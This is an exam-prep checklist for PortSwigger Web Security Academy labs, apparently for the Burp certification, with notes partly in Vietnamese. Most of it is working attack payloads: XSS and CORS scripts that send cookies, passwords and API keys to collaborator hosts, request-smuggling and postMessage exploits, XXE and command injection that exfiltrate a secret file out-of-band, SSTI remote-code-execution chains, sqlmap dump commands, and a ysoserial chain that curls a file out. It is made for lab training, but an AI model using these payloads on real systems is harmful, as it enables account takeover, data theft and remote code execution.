# Portswigger Checklist \`(*>﹏<*)′
<style>body {text-align: justify}</style>

## Stage 1. Account Takeover
#### 1.1 Reflected XSS on search term
[Tag and events wordlists](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
- [ ] **Exploiting cross-site scripting to steal cookies**
```javascript
<script>
fetch('//<COLLABORATOR DOMAIN>', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
xss"-fetch(atob('<BASE64_URL>')+document['cookie'])-"
\'</ScRiPt><img src=x onerror="window.location=`http://d7lk443a3qapex6cepn5sp8lico2cr.oastify.com/?x=`+document.cookie">
```
- [ ] **Exploiting cross-site scripting to capture passwords**
```javascript
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('//<COLLABORATOR DOMAIN>',{
method:'POST',
body:username.value ':' this.value
});">
```
- [ ] **body onpopstate**
```javascript
<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe>
```
- [ ] **Some usual payloads**
```javascript
- URL: href=javascript:alert(1)
- AngularJS: {{constructor.constructor('alert(1)')()}}
- Location.hash: <iframe src="<DOMAIN>/#" onload="this.src+='<img src=1 onerror=print()>'"></iframe>
- "" - alert(1) - ""
- " autofocus onfocus=alert(document.domain) x="
- <iframe src="<DOMAIN>/?search=%3Cbody%20onresize=print()%3E" onload=this.style.width='150px'>
- <xss id=xss onfocus=alert(document.cookie) tabindex=1>#xss
- <svg><animatetransform onbegin=alert(1)>
- Canonical link tag: <DOMAIN>/?'accesskey='x'onclick='alert(1)
- ${alert(document.domain)}
```
- [ ] **Bypass filter**
```javascript
- \';alert(document.domain)// -> \\';alert(document.domain)//
- '-alert(document.domain)-' (Escape <>"\')
```
#### 1.2 Host Header Injection reset-password
Change Host header in request `POST /refreshpassword`

Chức năng forgot password → Thay header Host thành exploit server → lấy được link đổi password
#### 1.3 Web cache poisoning
- Find endpoint (often `/resources`) contain `X-Cache` in response.
- Param Miner → Unkeyed header
For example, `X-Forwarded-Host: abc.com` → import `abc.com/resources/js/tracking.js` → XSS payload on exploit-server.
#### 1.4 HTTP Smuggling trigger XSS via User-Agent
- **TE.TE**
```
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n
```
- **CL.TE**
```
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
```
#### 1.5 DOM-based postMessage JSON data
```javascript
<iframe src="<LAB-DOMAIN>" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:document.location='https://COLLABORATOR.com?c='+document.cookie\"}","*")'>
```
```javascript
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
"type": "load-channel",
"url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>
```
```
<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
"type": "load-channel",
"url": "JavaScript:document.location=`https://COLLABORATOR.com?c=`+document.cookie"
}), "*");'>
```
#### 1.6 Brute credential
Lấy [username](https://portswigger.net/web-security/authentication/auth-lab-usernames) và [password](https://portswigger.net/web-security/authentication/auth-lab-passwords) list trên portswigger để brute cluster bomb phần login.
E.g: Tìm ra account `agent:computer`
## Stage 2. Administrator Escalation
#### 1.1 SQL Injection in Advanced Search
```
python3 .\sqlmap.py -u "<URL>/filtered_search?SearchTerm=a&sort-by=*&writer=a" --batch --cookie "<COOKIE>" --flush-session --technique E --dbms=PostgreSQL --level=2 --random-agent -v --dump -D public -T users
```
#### 1.2 Broken Access Control in change-email function
Khi thay đổi email, thấy trả về có phần roleid. Thêm roleid vào request để brute thì tìm được 42 là roleid của admin.

#### 1.3 Broken Access Control in forgot-password function (if carlos's cookie is encoded)
- Đầu tiên login vào user `carlos`, sau đó truy cập vào trang `/forgotpassword`.
- Giao diện reset password vẫn hiện ra, nhập vào đây username cần reset pass là `administrator` và submit.

- Check request, ngay lập tức session đã trả về cookie với tham số username là `administrator` và giá trị `isloggedin` là `true`. Có nghĩa là ta đã có cookie admin

#### 1.4 CORS get API key and session from admin
```javascript
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://TARGET.net/account_api/?EPOCHtime=1679134272000',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://EXPLOIT.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
```javascript
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="data:text/html,<script>
fetch('//<LAB-ID>.web-security-academy.net/accountDetails', {
credentials:'include'
}).then(r => r.json())
.then(j => fetch('//exploit-<EXPLOIT-ID>.exploit-server.net/?key=' + atob(j)))</script>">
</iframe>
```
#### 1.5 [JWT](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study#jwt)
## Stage 3. View content of `/home/carlos/secret`
#### 3.1 File upload via URL
```
http://exploit-server/exploit.php?.jpg
```
```php
<?php
echo file_get_contents("/home/carlos/secret");
?>
```
#### 3.2 XXE admin user import
Exploit-server:
```xml
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>">
%eval;
%exfil;
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
<user>
<username>Carl Toyota</username>
<email>carlos@hacked.net</email>
</user>
</users>
```
#### 3.3 OS command injection inside XXE admin user import
```xml
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user>
<username>Example111</username>
<email>examp1le1@domain.com</email>
</user>
<user>
<username>Example222</username>
<email>example2@domain.com `ping \`cat /home/carlos/secret\`.eq8n3iddz9uwkrrau8vlxw9z1q7hv6.oastify.com`</email>
</user>
</users>
```
#### 3.4 SSTI
- **Detect**: `${{<%[%'"}}%\`
- **Identify**:

- **Exploit**: [Payload all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md)
- [ ] **Freemaker** bypass sandbox ([Blackhat Whitepaper](https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Alvaro%20Mun%CC%83oz%20and%20Oleksandr%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security.pdf))
```java
// RCE
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("<SYSTEM CMD>")}
```
```java!
// Read file
${object.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
```java
${"freemarker.template.utility.Execute"?new()("<CMD>")}
```
**Config the reset-password email template**
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
```
#### 3.5 Download report as PDF using vulnerable library - SSRF
```json
"PageContent": "<iframe src=\"http://localhost:6566/secret\" width=1000px height=2000px>"
```
```json
"tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"
```
#### 3.6 OS Command Injection in filesize
```
"200x44!`nslookup+$(cat+/home/carlos/secret).yhjkmipn93pxhlxu4dbh3p2c63cu0yon.oastify.com`"
```

## References
[Burp Suite Certified Practitioner Exam Review](https://micahvandeusen.com/burp-suite-certified-practitioner-exam-review/?fbclid=IwAR1J0hi0MiZAuTWRDo4MJhHicvmJbnl5vatDxLDGrC0bdEflS-qQgRYjTMg)
[Burp Suite Certified Practitioner Checklist](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study)
[**CHEAT SHEET**](https://0xn3va.gitbook.io/cheat-sheets/web-application)
## MOCK TEST
**Stage 1: DOM-based XSS**
```
xss"-fetch(atob('Ly9yc252aTk1eHUyaTA3Z3Jyb2RkNGgzNW8wZjZldTMub2FzdGlmeS5jb20vPw==')+document['cookie'])-"
```
**Stage 2: SQLi**
```
python3 .\sqlmap.py -u "https://0ae500f103ad103a81b18aa600d500c3.web-security-academy.net/filtered_search?SearchTerm=a&sort-by=*&writer=a" --batch --cookie "_lab=46%7cMCwCFHqQI9Y0uL8zPzLsGjscQpOCdyRpAhQj9rPLbFFZVCcnaB1OMkEhqskmEI0EOIeUL4eEi%2f1kBXKr5%2fQsMydwO1fM%2fLdxdyo02pi%2bTXsSZhrYiCFKrOZjmCy8Sg2KOuNvJGbWdhTZIuPSXT02HO6Ip31Pl11Du6fI3OJEesd2SR4%3d; session=FOrYeWVOTSPhTMieFWCTTYufOtJ8f5Yp" --dbms=PostgreSQL --level=2 --random-agent -v --dump -D public -T users
```
**Stage 3: Java Insecure Deserialization**
```
import os
import base64
import gzip
command = os.popen('java -jar D:\Tools\Insecure-Deserialization\ysoserial\ysoserial.jar CommonsCollections6 "curl --data @/home/carlos/secret 1rtaforbckecvm8q9uopq6bbb2ht7hw.oastify.com" 2> nul| base64 | sed ":a;N;$!ba;s/\\n//g"')
result = command.read().encode()
command.close()
compressed = gzip.compress(base64.b64decode(result))
encoded = base64.b64encode(compressed).decode()
print(encoded)
```
###### tags: `portswigger`, `burpsuite`, `checklist`